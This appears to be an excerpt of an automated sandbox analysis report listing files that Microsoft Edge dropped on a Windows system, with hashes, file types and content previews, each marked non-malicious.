Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\9e0be81f-c668-4554-8e3a-8a9ed04c46b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67330411-1FD4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4976563324637304
Encrypted:	false
SSDEEP:	3072:SOJJg/RCd1cGhsiBSk+s0+Pmvkzh/jOd78bqhT4Ydv8dc5rg1HFR:TJga3siBT+s0amM5AAbqhT49dc5raHf
MD5:	65ADF7FE1B376D9376203A50FDBB8D55
SHA1:	5A835BF0402749948AF859078BD36AABB8179F61
SHA-256:	EB75CEA55FB36B1F59D20B95237EB2001E21C0648DAF1653B513741EFEEE38CB
SHA-512:	1B239A75F0DC4CFCF756F733346A43B848D47F024DBEC14483C3C5BC6E4DE486F3814B5331DA6DF131CD6BB5A4B682CD1A06B420D500553DCED2672780B6A178
Malicious:	false
Preview:	...@..@...@.....C.].....@...................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".cukcqp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2d850862-b0bc-4127-b973-c9df08791780.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561177370027418
Encrypted:	false
SSDEEP:	768:Qs7JgLXd7pLGLp1TWPV1fBL8F1+UoAYDCx9Tuqh0VfUC9xbog/OVBOnYCMqrwIYH:Qs7Jg7cp1TWPV1fBLu1jaUOn5MPIZ+Lh
MD5:	EF91EDC8D8A56FB6050F931E847555CB
SHA1:	974D0FF0EC5007067A4A3303E3BFC213E56140BA
SHA-256:	B0481C61F4A4D67D1B9108F667E68833CFD901A3BFB86C4FF2B3FBDFA88466DA
SHA-512:	529EA90638F7BD610F71833457A53D117B2660141B6B98D410F0C810D9FEE75094FBC583E8EE8352C1AC9D462241B20D50344A704E7F432284B4A2B6B2492DA5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375870225778538","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375870225778538","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\36acf48d-d0f1-43e0-bb04-40174fdac7ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554662261296419
Encrypted:	false
SSDEEP:	768:Qs7JgLXd7pLGLp1TWPV1fOL8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCYCMqrwIYcqC:Qs7Jg7cp1TWPV1fOLu1jaL5MPIZq5MtX
MD5:	18A8FC58AFF9A410C6207543B51B6C71
SHA1:	1007CD9C87BB563D719EFCDE6D8D0FC69310FD18
SHA-256:	86C49415C0E1AD3763366D4AD2A3DAFC8AF8453E7E97AF0B280092CEF084B2C3
SHA-512:	06C75C760094328886A7B89BB76C7E0398E81E1FB98CF6A8B9F65465F725F566B43B83D1E9FA24B683B5B6957E7E0B46AAE71DD4AFBC353CFFA3010F0ADA840D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375870225778538","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375870225778538","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\77fa2172-39c1-449c-9c1d-f2ac445fa092.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17403), with no line terminators
Category:	dropped
Size (bytes):	17407
Entropy (8bit):	5.478875582283457
Encrypted:	false
SSDEEP:	384:st/+PGQSu4xsyJfhhUXP/+zlde6bGtQwu6W6laTYU:s4OXu8JfcXPWNbGehwaTYU
MD5:	6BA33ECF6E910F05DA5836056E7D1C40
SHA1:	F61CCD5F9D876F2015EB2A203921E05D88A9AEA7
SHA-256:	21AC821FF4DDE147EBC1B87CF71974CE3BEFF7829FC43E457E2A7652D2688AE5
SHA-512:	B610CC0A3C073D76BD783104AEA1B37F3B021E09D0F2588284870600B4CD501C5A199CBB8DE3889E9F7AD2074D80A4A788FB08B08BDB31C07BF4116A6E6EC331
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.217200587343269
Encrypted:	false
SSDEEP:	6:HU4uCVbuM1923oH+Tcwtp3hBtB2KLlVU4uCU5q2P923oH+Tcwtp3hBWsIFUv:vV6hYebp3dFLXyv4Yebp3eFUv
MD5:	6C21C9CD19A465AF36B9EECAA006409D
SHA1:	E07EBEAFA0F82670CADE7C9CA99F6B9AEF1B129F
SHA-256:	F9CA6BE245A45C8E11A4C54314EAE44588E3D7B3E01BC327821F18F7F2758D73
SHA-512:	D0A50E407DE24B605560AFF30BA15B129AD8A486D9F8546A4BE99DF9AD85DCC00840855C75618F37AB580AE3AAE165E95EF98E2D8B7F3F94DBF6BDB97E1323BC
Malicious:	false
Preview:	2024/11/12-02:30:30.038 1c94 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/12-02:30:30.126 1c94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222888628987636
Encrypted:	false
SSDEEP:	24576:v+/PN8F0fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Gfx2mjF
MD5:	9519B3E6FA89EE1AAB6611DB423B9E5B
SHA1:	49BE7DC08064869B1381AB0690128766DAF45747
SHA-256:	7E427449E617638CDF2C0F6F5C883E548835905E8A4D9E8AF16B6688DC3D611B
SHA-512:	6AB3A06CB5238C188D2DE4CB791184914D19669E154C616C63D163DC3A8E8E3D973E33A3DD942086ABAB7D714592F6961B5B5CC2A969A0D4D5645543DA79381C
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.125566458334622
Encrypted:	false
SSDEEP:	6:HU4udkA9+q2P923oH+Tcwt9Eh1tIFUt8YU4udUV3JZmw+YU4uCrN9VkwO923oH+8:LPv4Yeb9Eh16FUt8aZ/+ErF5LYeb9Ehx
MD5:	3E1FBEA4CA6255F9B7E114AF51F82A61
SHA1:	F0B866472F870A37E4319C7C8AA5DB6C4D19E959
SHA-256:	F048AC350981C3CDBA69B4C9146CA32993B9FA0103669E43CD700BFC14078B1D
SHA-512:	E40F5D88F838CEFBA7ABCE2BAFAD293880D00F0B723669AEF59E870127982DEC201173B07E5F579669EC71DD928CB194B8D015742BAD4127EDD87606B30AE31D
Malicious:	false
Preview:	2024/11/12-02:30:29.919 1588 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-02:30:29.921 1588 Recovering log #3.2024/11/12-02:30:30.136 1588 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.125566458334622
Encrypted:	false
SSDEEP:	6:HU4udkA9+q2P923oH+Tcwt9Eh1tIFUt8YU4udUV3JZmw+YU4uCrN9VkwO923oH+8:LPv4Yeb9Eh16FUt8aZ/+ErF5LYeb9Ehx
MD5:	3E1FBEA4CA6255F9B7E114AF51F82A61
SHA1:	F0B866472F870A37E4319C7C8AA5DB6C4D19E959
SHA-256:	F048AC350981C3CDBA69B4C9146CA32993B9FA0103669E43CD700BFC14078B1D
SHA-512:	E40F5D88F838CEFBA7ABCE2BAFAD293880D00F0B723669AEF59E870127982DEC201173B07E5F579669EC71DD928CB194B8D015742BAD4127EDD87606B30AE31D
Malicious:	false
Preview:	2024/11/12-02:30:29.919 1588 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-02:30:29.921 1588 Recovering log #3.2024/11/12-02:30:30.136 1588 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4631041912185507
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBut3:TouQq3qh7z3bY2LNW9WMcUvBut3
MD5:	0E4E6DCF8FEF3383BC00009A31C1D0F7
SHA1:	C55052FC22CB38470F4A12EABCFF866303A54713
SHA-256:	F1824A876480EB35B0556433303D0FEE69DED757AE1A4AFB3A502A5A46F0AAB5
SHA-512:	CBAA2834ECAABD9933E67E78BC493596F4C856E386EDB1B47A32DD6931DE408CA584443ECC938B275622E76660EB99E99DCCCCAE56541B3217554724DBE2E83A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.194393377746829
Encrypted:	false
SSDEEP:	6:HU4ud2G+q2P923oH+TcwtnG2tMsIFUt8YU4ud2qZmw+YU4ud2GVkwO923oH+Tcwj:lv4Yebn9GFUt8X/+F5LYebn95J
MD5:	3C7FFE3CEC2A28D26753A6BFA160079E
SHA1:	A3DFF015224BDD04C804F0FEB7FE9E2427E30305
SHA-256:	8D81A0152A452E0FC62B4A71C84267BE4D873F3314DA33B747EB4E2DEED749E0
SHA-512:	1C6BBEB10CF93516C68237D5CDECDCE907A7BCDEB837A32A346F12239D1A72E7CC9D130B5536448BEA47227A578808FC01DB9276CEC839112380837B4404964A
Malicious:	false
Preview:	2024/11/12-02:30:25.856 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-02:30:25.856 1d38 Recovering log #3.2024/11/12-02:30:25.856 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.194393377746829
Encrypted:	false
SSDEEP:	6:HU4ud2G+q2P923oH+TcwtnG2tMsIFUt8YU4ud2qZmw+YU4ud2GVkwO923oH+Tcwj:lv4Yebn9GFUt8X/+F5LYebn95J
MD5:	3C7FFE3CEC2A28D26753A6BFA160079E
SHA1:	A3DFF015224BDD04C804F0FEB7FE9E2427E30305
SHA-256:	8D81A0152A452E0FC62B4A71C84267BE4D873F3314DA33B747EB4E2DEED749E0
SHA-512:	1C6BBEB10CF93516C68237D5CDECDCE907A7BCDEB837A32A346F12239D1A72E7CC9D130B5536448BEA47227A578808FC01DB9276CEC839112380837B4404964A
Malicious:	false
